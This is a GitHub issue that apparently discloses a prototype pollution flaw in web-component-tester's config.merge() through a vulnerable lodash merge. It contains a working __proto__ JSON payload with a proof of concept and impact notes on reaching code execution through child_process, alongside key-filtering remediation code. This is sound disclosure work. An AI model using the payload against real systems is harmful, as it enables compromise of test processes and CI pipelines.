Skip to content

Prototype Pollution in web-component-tester via config.merge() (lodash dependency) #3848

@gnsehfvlr

Description

@gnsehfvlr

Prototype Pollution in web-component-tester

Summary

web-component-tester (<= 6.9.2) is vulnerable to Prototype Pollution through its config.merge() function, which delegates to a vulnerable version of lodash's _.merge.


Vulnerable Code

runner/config.js — exposed at wct.config.merge:

function merge() {
    let configs = Array.prototype.slice.call(arguments);
    const result = {};
    configs = configs.map(normalize);
    _.merge.apply(_, [result, ...configs]);  // ← user options merged into result
    // ...
    return result;
}

This function takes multiple config objects (typically including a user-controlled one such as wct.conf.json or CLI-supplied options) and recursively merges them via _.merge. The bundled lodash version contains the well-known prototype pollution flaw and there is no key sanitization before the merge call.


Why This Is Vulnerable — Step by Step

1. Attacker payload (own enumerable __proto__ via JSON.parse):
   payload = JSON.parse('{"__proto__":{"polluted":"pwned"}}')

2. wct.config.merge(payload) is called
   → result = {}
   → _.merge(result, payload)

3. Inside _.merge baseMerge:
   → Object.keys(payload) = ['__proto__']  (own enumerable property)
   → baseMergeDeep(result, payload, '__proto__')
   → srcValue = payload['__proto__'] = {polluted:'pwned'}
   → isPlainObject(srcValue) → true
   → result['__proto__'] resolves to Object.prototype
   → Recursive merge into Object.prototype
   → Object.prototype.polluted = 'pwned'

4. Every {} object in the process is now polluted

Proof of Concept (verified in container)

const wct = require('web-component-tester');

console.log('Before:', ({}).polluted); // undefined

const payload = JSON.parse('{"__proto__":{"polluted":"pwned"}}');
wct.config.merge({}, payload);

console.log('After:', ({}).polluted);  // "pwned"
console.log('Vulnerable:', ({}).polluted === 'pwned'); // true

Test execution result:

POLLUTED via config.merge

Attack Surface

web-component-tester is a Polymer-era browser test runner. It loads configuration from:

  • wct.conf.json files (potentially attacker-controlled in shared repos)
  • CLI arguments
  • Programmatic API where user code calls wct.config.merge(...)

Any pipeline that ingests untrusted JSON config and passes it to wct.config.merge is exploitable.


Impact

Attack Mechanism
Remote Code Execution Pollute shell, envchild_process.exec
CI/CD Compromise wct often runs in CI; pollution persists in test process
Denial of Service Override toString/valueOf → crash all object operations
Test Result Tampering Polluted config can change which tests run

Remediation

Option 1 — Key filtering before merge

const BLOCKED = new Set(['__proto__', 'constructor', 'prototype']);
function sanitize(obj) {
  if (!obj || typeof obj !== 'object') return obj;
  const out = {};
  for (const k of Object.keys(obj)) {
    if (BLOCKED.has(k)) continue;
    out[k] = typeof obj[k] === 'object' ? sanitize(obj[k]) : obj[k];
  }
  return out;
}

function merge() {
    let configs = Array.prototype.slice.call(arguments).map(sanitize);
    // ... rest of logic
}

Option 2 — Update lodash to >=4.17.21 (already has proto guards)

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions